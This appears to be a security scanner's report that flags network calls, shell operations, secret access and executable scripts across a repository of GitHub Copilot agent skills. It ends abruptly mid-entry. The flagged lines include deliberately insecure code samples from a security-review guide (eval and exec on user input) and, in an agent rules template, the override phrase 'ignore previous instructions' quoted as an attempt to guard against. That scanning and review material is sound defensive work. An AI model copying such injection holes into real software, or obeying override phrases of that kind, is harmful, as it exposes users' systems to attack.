- [PostgreSQL Documentation: Concurrency Control](https://www.postgresql.org/docs/current/mvcc.html) - Network accessline 259
- [Npgsql GitHub: Multiple Active Result Sets Discussion](https://github.com/npgsql/npgsql/issues/462)
harness/github-copilot/skills/reviewing-oracle-to-postgres-migration/references/postgres-refcursor-handling.md
- Network accessline 146
- [PostgreSQL Documentation: Cursors](https://www.postgresql.org/docs/current/plpgsql-cursors.html) - [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html) - Network accessline 147
- [PostgreSQL FETCH Command](https://www.postgresql.org/docs/current/sql-fetch.html) - Network accessline 148
- [Npgsql Refcursor Support](https://github.com/npgsql/npgsql/issues/1887)
harness/github-copilot/skills/rhdh-jira/references/assign.md
- Network accessline 43
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \ - Network accessline 60
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \ - Network accessline 84
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \ - Network accessline 209
curl -s -X PUT \ - Network accessline 211
-H "Content-Type: application/json" \ -d '{"fields": {"assignee": {"accountId": "ACCOUNT_ID"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234" - Network accessline 213
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-1234"
harness/github-copilot/skills/rhdh-jira/references/auth.md
- Network accessline 5
**Never read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution. - Network accessline 31
The `AUTH` value is `email:api-token`, passed directly as basic auth credentials via `curl -u "$AUTH"`. - Network accessline 45
CLOUD_ID="2b9e35e3-6bd3-4cec-b838-f4249ee02432" JIRA_BASE="https://redhat.atlassian.net" - Network accessline 46
JIRA_BASE="https://redhat.atlassian.net" - Dangerous shell operationline 60
curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])" - Network accessline 60
curl -s -u "$AUTH" "$JIRA_BASE/_edge/tenant_info" | python -c "import json,sys; print(json.load(sys.stdin)['cloudId'])" - Network accessline 65
The `ORG_ID` is visible in the Atlassian admin URL: `https://admin.atlassian.com/o/{ORG_ID}/...`. It can also be found via the Teams API - any team entity returned by `team.teamSearchV2` includes `organizationId` in its response. The value
harness/github-copilot/skills/rhdh-jira/references/duplicates.md
- Network accessline 37
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/github-copilot/skills/rhdh-jira/references/graphql-queries.md
- Network accessline 5
**Do not read the `.jira-token` file into context.** Pass it to `curl -u` via shell substitution (see Authentication below). - Network accessline 25
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 33
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 43
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 76
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 90
curl -s -u "$AUTH" -X POST \ - Network accessline 112
# Next page - add after: "abc123" curl -s -u "$AUTH" -X POST \ - Network accessline 113
curl -s -u "$AUTH" -X POST \ - Network accessline 143
curl -s -u "$AUTH" -X POST -H 'Content-Type: application/json' \ - Network accessline 168
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST -H 'Content-Type: application/json' \
harness/github-copilot/skills/rhdh-jira/references/plan.md
harness/github-copilot/skills/rhdh-jira/references/refine.md
harness/github-copilot/skills/rhdh-jira/references/release.md
- Network accessline 31
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/github-copilot/skills/rhdh-jira/references/rest-api-fallback.md
- Network accessline 26
curl -s -o jira-openapi.json \ - Network accessline 27
'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json' - Network accessline 61
# List all fields (standard + custom) with IDs and types curl -s -u "$AUTH" \ - Dangerous shell operationline 62
curl -s -u "$AUTH" 'https://redhat.atlassian.net/rest/api/3/field' | python -c " - Network accessline 62
curl -s -u "$AUTH" \ - Network accessline 63
'https://redhat.atlassian.net/rest/api/3/field' | \ - Dangerous shell operationline 77
curl -s -u "$AUTH" 'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' | python -c " - Network accessline 77
curl -s -u "$AUTH" \ - Network accessline 78
'https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123/editmeta' | \ - Network accessline 93
|--|---------|---------| | **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/pla - Network accessline 94
| **Spec format** | OpenAPI 3.0 JSON (~4MB downloadable file) | No spec file - self-describing via introspection queries | | **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json' - Network accessline 95
| **Download** | `curl -o jira-openapi.json 'https://dac-static.atlassian.com/cloud/jira/platform/swagger-v3.v3.json'` | `__schema` or `__type` introspection queries against the live endpoint | - Network accessline 104
curl -s -X PUT \ - Network accessline 106
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10028": 5}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 108
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 114
curl -s -X PUT \ - Network accessline 116
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10795": {"value": "M"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 118
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 126
curl -s -X PUT \ - Network accessline 128
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10001": {"id": "TEAM_ID"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 130
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 138
curl -s -X PUT \ - Network accessline 140
-H "Content-Type: application/json" \ -d '{"fields": {"customfield_10785": {"value": "Enhancement"}}}' \ "https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 142
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123" - Network accessline 163
curl -s -u "$AUTH" \ - Network accessline 164
"https://redhat.atlassian.net/rest/api/3/issue/RHIDP-123?fields=customfield_10028,customfield_10795,customfield_10001"
harness/github-copilot/skills/rhdh-jira/references/sprint-report.md
- Network accessline 38
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/github-copilot/skills/rhdh-jira/references/to-epic.md
harness/github-copilot/skills/rhdh-jira/references/to-issue.md
harness/github-copilot/skills/rhdh-jira/references/update-jira-status.md
- Network accessline 57
curl -s -u "$AUTH" "$GRAPHQL_URL" -X POST \
harness/github-copilot/skills/rhdh-jira/scripts/parse_issues.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/rhdh-jira/scripts/setup.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 211
else: print(" [FAIL] acli not found on PATH") print(" Install from: https://developer.atlassian.com/cloud/acli/") - Network accessline 212
print(" [FAIL] acli not found on PATH") print(" Install from: https://developer.atlassian.com/cloud/acli/") return - Network accessline 213
print(" Install from: https://developer.atlassian.com/cloud/acli/") - Network accessline 239
print(" Then: chmod 600 .jira-token") print(" REST API/GraphQL fallback will not work without it.") print(" See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/") - Network accessline 241
print(" See: https://developer.atlassian.com/cloud/acli/guides/how-to-get-started/")
harness/github-copilot/skills/rhdh-local/references/customization-system.md
- Access to secretsline 23
[Credential-related source omitted]
harness/github-copilot/skills/rhdh-local/references/env-reference.md
- Network accessline 25
|----------|---------|-------------| | `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | - Network accessline 26
| `GITHUB_ORG` | | GitHub organization for catalog ingestion | | `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | | `AUTH_GITHUB_CLIENT_ID` | | OAuth app client ID | - Network accessline 27
| `GITHUB_HOST_DOMAIN` | `https://github.com` | GitHub instance URL (change for GHE) | - Access to secretsline 29
[Credential-related source omitted] - Network accessline 36
| Variable | Default | Description | |----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | - Network accessline 37
|----------|---------|-------------| | `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | | `JENKINS_USERNAME` | | Jenkins admin user | - Network accessline 38
| `JENKINS_URL` | `http://jenkins:8080` | Jenkins base URL | - Network accessline 47
| Variable | Default | Description | |----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | - Network accessline 48
|----------|---------|-------------| | `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | | `JIRA_TOKEN` | | Base64-encoded API token | - Network accessline 49
| `JIRA_BASE_URL` | | e.g., `https://your-instance.atlassian.net` | - Network accessline 80
| Variable | Default | Description | |----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | - Network accessline 81
|----------|---------|-------------| | `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | | `OLLAMA_MODEL` | `llama3.2:1b` | Model to use | - Network accessline 82
| `OLLAMA_URL` | `http://ollama:11434` | Ollama API endpoint | - Access to secretsline 99
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Access to secretsline 125
[Credential-related source omitted] - Network accessline 134
| `NODE_TLS_REJECT_UNAUTHORIZED` | `0` | Set to `1` in production | | `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL | - Network accessline 135
| `LOG_LEVEL` | | RHDH log level (debug, info, warn, error) | | `BASE_URL` | `http://localhost:7007` | RHDH base URL | | `SEGMENT_WRITE_KEY` | | Telemetry key (empty = disabled) | - Network accessline 136
| `BASE_URL` | `http://localhost:7007` | RHDH base URL | - Access to secretsline 149
[Credential-related source omitted]
harness/github-copilot/skills/rhdh-local/references/troubleshooting.md
- Network accessline 17
# 2. Test at http://localhost:7007 - Access to secretsline 31
[Credential-related source omitted] - Network accessline 102
# Manual checks curl http://localhost:7007/api/catalog/health # Catalog backend - Network accessline 103
curl http://localhost:7007/api/catalog/health # Catalog backend - Network accessline 104
curl http://localhost:7007 # Frontend
harness/github-copilot/skills/rhdh-local/rhdh_local/__init__.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/rhdh-local/rhdh_local/backup.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/rhdh-local/rhdh_local/cli.py
- Executable scriptline 1
Executable file - Network accessline 163
rhdh_running = False try: with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 164
try: with socket.create_connection(("localhost", 7007), timeout=1): rhdh_running = True - Network accessline 165
with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 170
if rhdh_running: checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"}) fmt.log_ok("RHDH: running on http://localhost:7007") - Network accessline 171
checks.append({"name": "rhdh_running", "status": "pass", "message": "running on :7007"}) fmt.log_ok("RHDH: running on http://localhost:7007") else: - Network accessline 172
fmt.log_ok("RHDH: running on http://localhost:7007") - Access to secretsline 437
[Credential-related source omitted] - Access to secretsline 439
[Credential-related source omitted]
harness/github-copilot/skills/rhdh-local/rhdh_local/compose.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/rhdh-local/rhdh_local/health.py
- Executable scriptline 1
Executable file - Network accessline 62
port_open = False try: with socket.create_connection(("localhost", 7007), timeout=2): - Network accessline 63
try: with socket.create_connection(("localhost", 7007), timeout=2): port_open = True - Network accessline 64
with socket.create_connection(("localhost", 7007), timeout=2): - Network accessline 72
name="rhdh_port", status="pass", message="RHDH reachable on http://localhost:7007", - Network accessline 73
status="pass", message="RHDH reachable on http://localhost:7007", ) - Network accessline 74
message="RHDH reachable on http://localhost:7007", - Network accessline 111
if port_open: try: with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp: - Network accessline 112
try: with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp: body = resp.read().decode() - Network accessline 113
with urlopen("http://localhost:7007/api/catalog/health", timeout=5) as resp:
harness/github-copilot/skills/rhdh-local/rhdh_local/settings.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/rhdh-local/rhdh_local/sync.py
harness/github-copilot/skills/rhdh-local/scripts/NOTICE
- Executable scriptline 1
Executable file - Network accessline 6
Project: rhdh-lab Author: Ben Wilcock Repository: https://github.com/benwilcock/rhdh-lab - Network accessline 7
Author: Ben Wilcock Repository: https://github.com/benwilcock/rhdh-lab License: Apache License 2.0 - Network accessline 8
Repository: https://github.com/benwilcock/rhdh-lab - Network accessline 17
http://www.apache.org/licenses/LICENSE-2.0
harness/github-copilot/skills/rhdh-local/scripts/fetch-plugin-metadata.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 4
Replaces the manual 3-step curl chain in the enable-plugin workflow. - Network accessline 23
_CONTENTS_URL = ( "https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays" - Network accessline 24
"https://api.github.com/repos/redhat-developer/rhdh-plugin-export-overlays" - Network accessline 25
"/contents/catalog-entities/extensions/plugins" ) _RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main" - Network accessline 27
_RAW_BASE = "https://raw.githubusercontent.com/redhat-developer/rhdh-plugin-export-overlays/main" - Network accessline 296
req = urllib.request.Request(url, headers={"User-Agent": "rhdh-skill/0.1"}) - Network accessline 297
with urllib.request.urlopen(req, timeout=30) as resp: - Network accessline 341
url = ( f"https://api.github.com/repos/redhat-developer/" - Network accessline 342
f"https://api.github.com/repos/redhat-developer/"
harness/github-copilot/skills/rhdh-local/scripts/rhdh-local
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/rhdh-local/workflows/enable-plugin.md
- Network accessline 157
- [ ] No errors in `podman compose logs install-dynamic-plugins` - [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007` - Network accessline 158
- [ ] No errors in `podman compose logs rhdh` related to the plugin - [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health` - Network accessline 159
- [ ] RHDH accessible at `http://localhost:7007` - [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health` </success_criteria> - Network accessline 160
- [ ] (If backend) Health endpoint responds: `curl http://localhost:7007/api/<plugin>/health`
harness/github-copilot/skills/rhdh-local/workflows/switch-mode.md
- Access to secretsline 74
[Credential-related source omitted] - Network accessline 92
# 2. Test at http://localhost:7007 - Network accessline 130
- [ ] `rhdh-local/` git status is clean (`git status` shows no modified files) - [ ] RHDH starts at `http://localhost:7007` with Guest login - Network accessline 131
- [ ] RHDH starts at `http://localhost:7007` with Guest login
harness/github-copilot/skills/rhdh-local/workflows/test-plugin.md
harness/github-copilot/skills/rhdh/references/rhdh-repos.md
- Network accessline 9
- **Upstream:** <https://github.com/redhat-developer/rhdh> - Network accessline 11
- **Tech stack:** Node.js 22, TypeScript, React, Yarn 4, Turbo monorepo - **Key concepts:** - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module l - Network accessline 12
- **Key concepts:** - **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoo - Network accessline 13
- **Scalprum dynamic loading:** Frontend plugins are loaded at runtime via [Scalprum](https://github.com/scalprum/scaffolding) (federated module loader), not compiled into the app. `packages/app/` renders `<ScalprumRoot>` which fetches plug - Network accessline 23
- **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh> - Network accessline 29
- **Upstream:** <https://github.com/redhat-developer/rhdh-cli> - Network accessline 43
- **Upstream:** <https://github.com/redhat-developer/rhdh-local> - Network accessline 57
- **Upstream:** <https://github.com/redhat-developer/rhdh-operator> - Network accessline 72
- **Upstream:** <https://github.com/redhat-developer/rhdh-chart> - Network accessline 85
- **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-overlays> - Network accessline 98
- **Upstream:** <https://github.com/redhat-developer/rhdh-plugin-export-utils> - Network accessline 111
- **Upstream:** <https://gitlab.cee.redhat.com/rhidp/rhdh-plugin-catalog> - Network accessline 125
- **Upstream:** <https://github.com/redhat-developer/rhdh-plugins> - Network accessline 139
- **Upstream:** <https://github.com/redhat-developer/rhdh-dynamic-plugin-factory> - Network accessline 149
- **Upstream:** <https://github.com/backstage/backstage>
harness/github-copilot/skills/rhdh/references/slack-notification.md
- Network accessline 109
https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1234 - Network accessline 125
Priority: Add plugin configuration to enable smoke tests See: https://github.com/.../README.md#smoke-test-config - Network accessline 126
See: https://github.com/.../README.md#smoke-test-config - Network accessline 128
https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1235 - Network accessline 143
https://github.com/redhat-developer/rhdh-plugin-export-overlays/pull/1236
harness/github-copilot/skills/rhdh/references/versions.md
- Network accessline 19
Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0) - Network accessline 53
Based on [Backstage 1.45.3](https://backstage.io/docs/releases/v1.45.0) - Network accessline 87
Based on [Backstage 1.42.5](https://backstage.io/docs/releases/v1.42.0) - Network accessline 121
Based on [Backstage 1.39.1](https://backstage.io/docs/releases/v1.39.0) - Network accessline 155
Based on [Backstage 1.36.1](https://backstage.io/docs/releases/v1.36.0) - Network accessline 193
Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/app/package.json) in the `app` package. - Network accessline 197
Check the [`package.json`](https://github.com/redhat-developer/rhdh/blob/main/packages/backend/package.json) in the `backend` package. - Network accessline 210
Check the [Version Matrix](https://github.com/redhat-developer/rhdh/blob/main/docs/dynamic-plugins/versions.md) for specific CLI versions if needed.
harness/github-copilot/skills/rhdh/rhdh/__init__.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/rhdh/rhdh/__main__.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/rhdh/rhdh/cli.py
- Executable scriptline 1
Executable file - Network accessline 152
checks.append({"name": "gh_cli", "status": "fail", "message": "not installed"}) fmt.log_fail("gh CLI: not installed") next_steps.append("Install gh CLI: https://cli.github.com/") - Network accessline 154
next_steps.append("Install gh CLI: https://cli.github.com/") - Network accessline 296
checks.append({"name": "gh_installed", "status": "fail", "message": "not installed"}) fmt.log_fail("gh CLI not installed") issues.append("Install gh CLI: https://cli.github.com/") - Network accessline 298
issues.append("Install gh CLI: https://cli.github.com/") - Network accessline 404
rhdh_running = False try: with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 405
try: with socket.create_connection(("localhost", 7007), timeout=1): rhdh_running = True - Network accessline 406
with socket.create_connection(("localhost", 7007), timeout=1): - Network accessline 411
if rhdh_running: checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"}) fmt.log_ok(" RHDH: running on http://localhost:7007") - Network accessline 412
checks.append({"name": "rhdh_port_7007", "status": "pass", "message": "running"}) fmt.log_ok(" RHDH: running on http://localhost:7007") else: - Network accessline 413
fmt.log_ok(" RHDH: running on http://localhost:7007")
harness/github-copilot/skills/rhdh/rhdh/config.py
- Executable scriptline 1
Executable file - Access to secretsline 155
[Credential-related source omitted] - Access to secretsline 176
[Credential-related source omitted] - Access to secretsline 177
[Credential-related source omitted] - Access to secretsline 400
[Credential-related source omitted] - Access to secretsline 442
[Credential-related source omitted] - Access to secretsline 474
[Credential-related source omitted] - Dangerous shell operationline 922
[f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"], - Dangerous shell operationline 928
[f"rm -rf {submodule_path}", f"rhdh setup submodule add {name}"],
harness/github-copilot/skills/rhdh/rhdh/formatters.py
harness/github-copilot/skills/rhdh/rhdh/todo.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/rhdh/rhdh/worklog.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/rhdh/rhdh/workspace.py
- Executable scriptline 1
Executable file
harness/github-copilot/skills/rhdh/scripts/rhdh
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/skills/rhino3d-scripts/SKILL.md
- Access to secretsline 213
[Credential-related source omitted] - Network accessline 263
- [RhinoScript landing](https://docs.mcneel.com/rhino/8/help/en-us/information/rhinoscripting.htm) - Network accessline 264
- [Developer hub](https://developer.rhino3d.com/) - Network accessline 265
- [RhinoCommon API index](https://mcneel.github.io/rhinocommon-api-docs/api/RhinoCommon/html/R_Project_RhinoCommon.htm) - Network accessline 266
- [Example scripts repo](https://github.com/mcneel/rhino-developer-samples/tree/8/rhinoscript)
harness/github-copilot/skills/rhino3d-scripts/references/macros-and-loading.md
- Access to secretsline 118
[Credential-related source omitted]
harness/github-copilot/skills/ruby-mcp-server-generator/references/project-templates.md
- Network accessline 8
source 'https://rubygems.org'
harness/github-copilot/skills/sandbox-npm-install/scripts/install.sh
- Executable scriptline 1
#!/usr/bin/env bash - Dangerous shell operationline 99
rm -rf "$DEPS_DIR" - Dangerous shell operationline 126
rm -rf node_modules - Dangerous shell operationline 180
elif command -v sudo &>/dev/null && sudo -n true 2>/dev/null; then - Dangerous shell operationline 181
# Non-root but passwordless sudo available — install browsers then system deps - Dangerous shell operationline 183
sudo npx playwright install-deps chromium - Dangerous shell operationline 186
echo "System dependencies not installed (no root/sudo access)." - Dangerous shell operationline 187
echo "Playwright tests may fail. Run: sudo npx playwright install-deps chromium"
harness/github-copilot/skills/scoutqa-test/SKILL.md
- Network accessline 56
scoutqa --url "https://example.com" --prompt "Your test instructions" - Network accessline 61
- **Execution ID** (e.g., `019b831d-xxx`) - **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`) - Network accessline 62
- **Browser URL** (e.g., `https://app.scoutqa.ai/t/019b831d-xxx`) - Network accessline 92
# Seamlessly test a locally running app when you're developing your app scoutqa --url "http://localhost:3000" --prompt "Test the registration form" - Network accessline 93
scoutqa --url "http://localhost:3000" --prompt "Test the registration form" - Network accessline 110
scoutqa --url "https://example.com" --prompt " - Network accessline 119
scoutqa --url "https://shop.example.com" --prompt " - Network accessline 130
# Test 1: Authentication & security scoutqa --url "https://app.example.com" --prompt " - Network accessline 131
scoutqa --url "https://app.example.com" --prompt " - Network accessline 136
# Test 2: Core features (runs in parallel) scoutqa --url "https://app.example.com" --prompt " - Network accessline 137
scoutqa --url "https://app.example.com" --prompt " - Network accessline 142
# Test 3: Accessibility (runs in parallel) scoutqa --url "https://app.example.com" --prompt " - Network accessline 143
scoutqa --url "https://app.example.com" --prompt " - Network accessline 248
scoutqa --url "http://localhost:3000/register" --prompt " - Network accessline 298
Execution ID: `019b831d-xxx` View Live: https://app.scoutqa.ai/t/019b831d-xxx - Network accessline 299
View Live: https://app.scoutqa.ai/t/019b831d-xxx - Network accessline 381
**Target URL:** `<URL>` **Execution ID:** `<019b831d-xxx or ex_abc123>` **Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL - Network accessline 383
**Live report:** `https://app.scoutqa.ai/t/019b831d-xxx` or the actual ScoutQA URL - Network accessline 401
- [ ] `name` is `scoutqa-test` and matches the parent directory. - [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such - Network accessline 402
- [ ] Each run includes `--url` and `--prompt` with a goal-oriented prompt, not step-by-step micromanagement. - [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - [ ] Local URLs suc - Network accessline 403
- [ ] The response includes the Execution ID and browser URL such as `https://app.scoutqa.ai/t/019b831d-xxx`. - Network accessline 404
- [ ] Local URLs such as `http://localhost:3000`, `http://localhost:3000/register`, `localhost`, and `127.0.0.1` are allowed when the app is running.
harness/github-copilot/skills/sdd-requirements-engineer/references/ears-notation.md
- Network accessline 103
- Alistair Mavin, [EARS overview and pattern definitions](https://alistairmavin.com/ears/), reviewed 2026-08-25. - Network accessline 104
- A. Mavin, P. Wilkinson, A. Harwood, and M. Novak, "Easy Approach to Requirements Syntax (EARS)," *17th IEEE International Requirements Engineering Conference*, 2009, pp. 317-322, [doi:10.1109/RE.2009.9](https://doi.org/10.1109/RE.2009.9). - Network accessline 105
- University of Manchester Research Explorer, [bibliographic record for "Easy Approach to Requirements Syntax (EARS)"](https://research.manchester.ac.uk/en/publications/easy-approach-to-requirements-syntax-ears/), reviewed 2026-08-25.
harness/github-copilot/skills/secret-scanning/SKILL.md
- Network accessline 153
- [Secret scanning in AI coding agents via the GitHub MCP Server](https://github.blog/changelog/2026-03-17-secret-scanning-in-ai-coding-agents-via-the-github-mcp-server/)
harness/github-copilot/skills/secret-scanning/references/push-protection.md
- Network accessline 155
For the full list of patterns supported by push protection, see [Supported secret scanning patterns](https://docs.github.com/en/code-security/secret-scanning/introduction/supported-secret-scanning-patterns).
harness/github-copilot/skills/security-review/references/language-patterns.md
- Dangerous shell operationline 11
eval() // arbitrary code execution - Dangerous shell operationline 87
eval(request.args.get('expr')) - Network accessline 116
// XXE DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); // Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true) - Network accessline 118
// Missing: dbf.setFeature("http://apache.org/xml/features/" + "disallow-doctype-decl", true) - Dangerous shell operationline 143
eval($_POST['code']); - Dangerous shell operationline 192
eval(params[:code])
harness/github-copilot/skills/security-review/references/report-format.md
- Network accessline 114
Action Required: 1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com - Network accessline 115
1. Rotate this key IMMEDIATELY at https://dashboard.stripe.com - Access to secretsline 117
[Credential-related source omitted] - Access to secretsline 118
[Credential-related source omitted]
harness/github-copilot/skills/security-review/references/secret-patterns.md
- Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 114
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted] - Access to secretsline 151
[Credential-related source omitted] - Access to secretsline 154
[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Access to secretsline 172
[Credential-related source omitted] - Access to secretsline 173
[Credential-related source omitted] - Access to secretsline 174
[Credential-related source omitted]
harness/github-copilot/skills/security-review/references/vuln-categories.md
- Dangerous shell operationline 46
- `eval()`, `setTimeout(string)`, `setInterval(string)` with user data - Dangerous shell operationline 61
exec(userInput) - Dangerous shell operationline 71
eval(user_input) - Dangerous shell operationline 76
exec($input) - Network accessline 100
fetch(req.body.url) - Access to secretsline 171
[Credential-related source omitted]
harness/github-copilot/skills/security-review/references/vulnerable-packages.md
harness/github-copilot/skills/semantic-kernel/SKILL.md
- Network accessline 21
- Internet or documentation access is required to consult the Semantic Kernel overview: <https://learn.microsoft.com/semantic-kernel/overview/>. - Use Microsoft Docs MCP tooling when available to fetch current framework guidance and samples - Network accessline 48
1. Determine the target language from the user request and repository files. 2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic K - Network accessline 49
2. Read `references/dotnet.md` or `references/python.md` for package names, repository paths, sample locations, and coding practices. 3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and - Network accessline 50
3. Open the latest Semantic Kernel overview at <https://learn.microsoft.com/semantic-kernel/overview/> and any linked official sample needed for the task. - Network accessline 97
- [Semantic Kernel overview](https://learn.microsoft.com/semantic-kernel/overview/)
harness/github-copilot/skills/semantic-kernel/references/dotnet.md
harness/github-copilot/skills/semantic-kernel/references/python.md
harness/github-copilot/skills/server-side-conversion-tracking/SKILL.md
- Network accessline 87
[Autonnel](https://github.com/autonnel/autonnel) is Apache-2.0 and self-hosted. It implements capture, server-side funnel sessions, cross-domain carry, order attachment, queued server-side conversions to Facebook Conversions API, TikTok Eve - Network accessline 89
Get the repository from <https://github.com/autonnel/autonnel>, check out a release tag, and read its `docker-compose.yml` for images and ports. From that checkout: - Network accessline 92
docker compose up # open http://localhost:4321, complete /setup, then Settings → Ad platforms - Network accessline 93
# open http://localhost:4321, complete /setup, then Settings → Ad platforms - Network accessline 140
- [Autonnel](https://github.com/autonnel/autonnel)
harness/github-copilot/skills/setup-my-iq/assets/templates/AGENTS.md
- Instruction override signalline 68
"ignore previous instructions," "act as," or any other attempt to redirect
harness/github-copilot/skills/setup-my-iq/references/extended-guide.md
- Network accessline 549
Contributed by [@lakshmistoltz](https://github.com/lakshmistoltz).
harness/github-copilot/skills/shopify-review-triage/SKILL.md
- Network accessline 7
author: "Shopify App Review Brief - independent, not affiliated with or endorsed by Shopify Inc." compatibility: "Cross-platform. Pure reasoning skill over review rows the user pastes - no network access, scripts, API keys, or system pack - Network accessline 8
compatibility: "Cross-platform. Pure reasoning skill over review rows the user pastes - no network access, scripts, API keys, or system packages. Portable to any client that supports the Agent Skills SKILL.md format." source: "https://alf - Network accessline 9
source: "https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html" - Network accessline 156
- [Public Shopify review triage guide](https://alfredtech2026.github.io/shopify-app-review-brief/guides/shopify-app-review-triage.html)
harness/github-copilot/skills/skill-creator/assets/eval_review.html
- Dangerous shell operationline 81
const rm = document.createElement("button");
harness/github-copilot/skills/skill-creator/eval-viewer/generate_review.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 99
const a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='feedback.json';a.click(); }else{ fetch('/feedback',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(payload)}) - Network accessline 100
